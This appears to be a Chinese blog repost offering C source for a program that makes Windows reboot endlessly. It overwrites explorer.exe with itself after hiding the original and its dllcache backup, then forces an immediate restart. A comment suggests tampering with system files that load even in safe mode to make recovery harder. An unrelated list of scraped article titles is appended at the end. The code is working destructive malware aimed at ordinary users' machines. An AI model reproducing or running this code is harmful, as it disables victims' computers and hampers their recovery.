让你的Windows不断重启的C语言代码

没有写Linux的原因是因为搞不定Linux下的权限问题,而Windows下基本上使用电脑的用户都是管理员,所以钻个空了,不多说下面是代码

#include "stdio.h"

#include "process.h"

int copy_file(char *start,char *end)

{

FILE *input,*output;

if(((input=fopen(start,"rb"))!=NULL)&&((output=fopen(end,"wb"))!=NULL))

{

char temp;

while(!feof(input))

{

fread(&temp,sizeof(char),1,input);

fwrite(&temp,sizeof(char),1,output);

}

fclose(input);

fclose(output);

return 0;

}

return 1;

}

int auto_run(char *my)

{

FILE *fp;

if((fp=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)

{

fclose(fp);

remove("C:\\windows\\$temp#");

remove("C:\\windows\\system32\\dllcache\\$temp$");

}

else

{

copy_file("C:\\windows\\explorer.exe","C:\\windows\\system\\explorer.exe");

rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");

rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\system32\\dllcache\\$temp$");

copy_file(my,"C:\\windows\\explorer.exe");

}

return 0;

}

int main(int argc,char **argv)

{

auto_run(argv[0]);

spawnl(1,"C:\\windows\\system32\\shutdown.exe"," -r -t 0",NULL);

return 0;

}

/*据测试,在带有命令提示符的安全模式下好像并没有启动explorer.exe.而本程序正是通过修改explorer.exe达到不断重启的目的.所以只要在带有命令提示符的安全模式下将备份在windows\system\下的explorer.exe复制到windows\下就可以解决问题了,如果想做得更绝点的话,那就修改其它系统文件,比如修改一些即使是使用安全模式也必需要启动的系统文件,这样就比较棘手了*/

原文:http://www.cnblogs.com/lonelyxmas/p/4166279.html

电脑重启的c语言代码,让你的Windows不断重启的C语言代码相关推荐

  1. win7自带c语言编译器在哪里,在Windows平台如何选择C语言编译器?

    学习到了这个阶段,我们不仅要问在Windows平台如何选择C语言编译器呢?这个是因人而异的,Windows 下的C语言 IDE 众多,每个人开发习惯不同,所以用哪款的都有,不过本文是从大众角度出发对C ...

  2. python有趣的代码-分享几款由quot;Python”语言编写的quot;有趣、恶搞、好玩”的程序代码...

    为提高大家对"Python"编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!qq进群:156846986可以获取Python学习 ...

  3. 【C语言】初始C语言系列 代码详解 _ 编程入门 _【内附代码和图片】_ [初阶篇 _ 总结复习]

    [前言] 本篇文章为初始C语言部分,C语言是编程的入门语言,所以也说是编程入门: 学好C语言的入门内容,才能真正的入门编程,而C语言的学习对于刚入门的同学还是有一些难度的,需要踏踏实实的自己去理解. ...

  4. 计算机设备停用代码22,Win7电脑提示由于该设备有问题Windows已将其停止(代码43)怎么办?...

    我们在使用Win7系统时遇到很多显卡驱动损坏后,更新(或安装)不了的问题,在安装当时,会提示说,已经成功安装,可一重启电脑,显卡依旧有黄色标志,在显卡设备的属性中,也能看到"由于该设备有问题 ...

  5. 用哪种语言写的应用漏洞最严重?六大主流语言代码漏洞分析报告出炉

    来源:机器之心 本文约1600字,建议阅读5分钟 静态代码分析安全公司 Veracode 近日发布了一份应用程序分析报告,结果发现比起 JavaScript 和 Python 等语言,C++ 和 PH ...

  6. 统计一段英文中单词的个数c语言,C语言统计一篇英文短文中单词的个数实例代码...

    具体代码如下所述: #include #define N 1000 void main(){ char en[N][81]; int i,j,num=0,n,state; //num 用来统计单词的个 ...

  7. python语言用什么来表明每行代码的层次关系_《计算机二级Python语言程序设计考试》第2章: Python语言基本语法元素...

    注明:本系列课程专为全国计算机等级考试二级 Python 语言程序设计考试服务 目录 考纲考点 程序的基本语法元素:程序的格式框架.缩进.注释.变量.命名.保留字.数据类型.赋值语句.引用 基本输入输 ...

  8. c语言代码大全_从学生到专家,C语言开发必读的8本书

    本号总结了在C语言实际开发中必读的8本书,当然这8本书并不能囊括开发的方方面面,但就作者亲身体验来看,这8本书确实每个C语言开发者都必须要读的书,并且是应该深入精读的书. C程序设计语言 相信大家都学 ...

  9. java克鲁斯卡尔算法_Java语言基于无向有权图实现克鲁斯卡尔算法代码示例

    所谓有权图,就是图中的每一条边上都会有相应的一个或一组值.通常情况下,这个值只是一个数字 如:在交通运输网中,边上的权值可能表示的是路程,也可能表示的是运输费用(显然二者都是数字).不过,边上的权值也 ...

最新文章

  1. Domino下邮箱用户数据库限额自助释放物理空间
  2. zookeeper注意几点
  3. 系统架构设计师-软件水平考试(高级)-理论-操作系统
  4. Analytics API and Customer Data Platform | Segment
  5. Redis(3-3):列表类型
  6. boot spring test 文档_SpringBoot入门十,添加junit单元测试
  7. Discuz2.5菜鸟解析-2
  8. [20150204]关于位图索引4.txt
  9. .md文件用什么软件打开
  10. makefile通配符
  11. 横跨湘江两岸,望城虎年“火力全开” 玩转山水洲城新样板?
  12. 火车头+php教程,dede使用火车头采集视频教程
  13. AutoML论文笔记(十二)Search to Distill: Pearls are Everywhere but not the Eyes:千里马常有,而伯乐不常有
  14. 技术选型系列 -- Redis VS Memcached
  15. 遗传算法和免疫算法结合用MTALB解决函数极值问题
  16. 推荐系统热门研究方向
  17. 语言的种类和职业类别所需的语言解说Part 2
  18. 利用C语言实现文件的读写操作
  19. STM32F103的时钟
  20. 前端页面获取浏览器窗口的几个高度

热门文章

  1. Linux运维工程师面试题整理
  2. 基于arduino的红外测速
  3. 用python画颗爱心祝生日快乐_python图特尔图书馆写“生日快乐”,Pythonturtle,库写...
  4. 用python画写轮眼_仿写轮眼修改版
  5. 视频技术处理之javaCV视频图像灰度处理,附代码
  6. MVC web项目中引入jquery插件
  7. 华为Java开发一面二面 附笔试(OD)
  8. 为什么说PuddingSwap或许为成为GameFi领域的一匹强势黑马?
  9. 【经验分享】一款好看舒服的notepad++主题和字体
  10. python做的项目管理软件有哪些_大家都在用哪些在线的项目管理工具?